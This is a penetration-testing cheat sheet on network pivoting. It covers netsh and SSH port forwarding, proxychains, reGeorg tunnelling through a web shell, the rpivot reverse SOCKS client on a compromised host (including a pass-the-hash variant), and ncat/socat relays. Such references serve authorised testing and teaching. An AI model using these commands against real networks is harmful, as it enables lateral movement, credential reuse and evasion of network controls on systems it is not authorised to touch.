# Network Pivoting Techniques

## Windows netsh Port Forwarding

```powershell
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
```

1. listenaddress – is a local IP address waiting for a connection.
2. listenport – local listening TCP port (the connection is waited on it).
3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport – is a TCP port to which the connection from listenport is forwarded to.

## SSH

### SOCKS Proxy

```bash
ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
```

Cool Tip : Konami SSH Port forwarding

```bash
[ENTER] + [~C]
-D 1090
```

### Local Port Forwarding

```bash
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```

### Remote Port Forwarding

```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
```

## Proxychains

**Config file**: /etc/proxychains.conf

```bash
[ProxyList]
socks4 localhost 8080
```

Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`

## Web SOCKS - reGeorg

[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

```python
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp
```

## Rpivot

Server (Attacker box)

```python
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
```

Client (Compromised box)

```python
python client.py --server-ip <ip> --server-port 9443
```

Through corporate proxy

```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
```

Passing the hash

```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```

## Basic Pivoting Types

| Type              | Use Case                                    |
| :-------------    | :------------------------------------------ |
| Listen - Listen   | Exposed asset, may not want to connect out. |
| Listen - Connect  | Normal redirect.                            |
| Connect - Connect | Can’t bind, so connect to bridge two hosts  |

## Listen - Listen

| Type              | Use Case                                    |
| :-------------    | :------------------------------------------ |
| ncat              | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
| socat             | `socat -v tcp-listen:8080 tcp-listen:9090`  |
| remote host 1     | `ncat localhost 8080 < file`                |
| remote host 2     | `ncat localhost 9090 > newfile`             |

## Listen - Connect

| Type              | Use Case                                                        |
| :-------------    | :------------------------------------------                     |
| ncat              | `ncat -l -v -p 8080 -c "ncat localhost 9090"`                   |
| socat             | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1     | `ncat localhost -p 8080 < file`                                 |
| remote host 2     | `ncat -l -p 9090 > newfile`                                     |

## Connect - Connect

| Type              | Use Case                                                                   |
| :-------------    | :------------------------------------------                                |
| ncat              | `ncat localhost 8080 -c "ncat localhost 9090"`                             |
| socat             | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1     | `ncat -l -p 8080 < file                                                    |
| remote host 2     | `ncat -l -p 9090 > newfile`                                                |

## Thanks to

* [Network Pivoting Techniques - Bit rot](https://bitrot.sh/cheatsheet/14-12-2017-pivoting/)
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)